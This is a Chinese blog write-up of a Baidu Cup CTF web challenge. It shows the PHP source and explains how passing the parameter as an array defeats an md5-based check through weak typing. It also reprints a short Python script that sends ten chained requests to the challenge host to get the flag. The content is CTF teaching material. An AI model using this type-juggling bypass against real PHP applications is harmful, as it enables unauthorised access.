• 猥琐百度杯猥琐CTF


    其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难。

    题目源码:

     <?php 
    error_reporting(0);
    session_start();
    require('./flag.php');
    if(!isset($_SESSION['nums'])){
      $_SESSION['nums'] = 0;
      $_SESSION['time'] = time();
      $_SESSION['whoami'] = 'ea';
    }
    
    if($_SESSION['time']+120<time()){
      session_destroy();
    }
    
    $value = $_REQUEST['value'];
    $str_rand = range('a', 'z');
    $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
    
    if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
      $_SESSION['nums']++;
      $_SESSION['whoami'] = $str_rands;
      echo $str_rands;
    }
    
    if($_SESSION['nums']>=10){
      echo $flag;
    }
    
    show_source(__FILE__);
    ?>
    

    最主要的是那个19行的if语句。能够让她执行十次就可以得到Flag了。

    首先先看一下if后面的那个代码:

    substr(md5($value),5,4) == 0

    其实他压根就是为真因为我们传如value是以数组的形式传入所以是不能用md5加密的。否则就是错误。这就是一道弱类型。所以这个不用管,因为他本身就为真。

    主要是前面的

    $_SESSION['whoami']==($value[0].$value[1])

    第一次传入ea然后就可以等于第8行,但是到了21行$str_rands这个变量又将$_SESSION['whoami']的值给覆盖了,而$str_rands的值是通过

     $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

    随机生成的。所以要进行一直浏览这个界面就可以得到Flag就行了。

    作为python菜鸡网上找了相关案例:

    #!usr/bin/env python
    #!coding=utf-8
     
    __author__ = 'zhengjim'
     
    import requests
     
    aa = requests.session()
    code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text
    # print code
    cc = code[:2]
    for i in xrange(10):
        url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1])
        flag= aa.get(url=url).text
        cc = flag[:2]
    print flag
  • 相关阅读:
    进制转换
    客户信息管理系统
    ORACLE PL/SQL编程
    Oracle性能优化
    Django-admin
    PyCharm激活
    Java容器源码攻坚战--第一战:Iterator
    Java总结之映射家族--Map概览
    Java总结之容器家族--Collection
    2.安卓基础之Activity启动方式
  • 原文地址:https://www.cnblogs.com/xishaonian/p/7653112.html
Copyright © 2020-2023  润新知